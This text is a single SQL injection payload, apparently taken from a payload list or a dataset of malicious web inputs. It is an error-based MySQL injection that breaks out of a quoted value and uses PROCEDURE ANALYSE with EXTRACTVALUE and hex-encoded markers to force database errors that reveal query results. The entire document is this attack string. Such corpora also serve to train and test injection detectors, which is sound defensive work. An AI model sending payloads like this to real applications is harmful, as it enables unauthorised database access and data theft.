1'  )   procedure analyse  (  extractvalue  (  5840,concat  (  0x5c,0x7171706a71,  (  select   (  case when   (  5840  =  5840  )   then 1 else 0 end   )    )   ,0x717a767a71   )    )   ,1  )   and   (  'rxxb'  =  'rxxb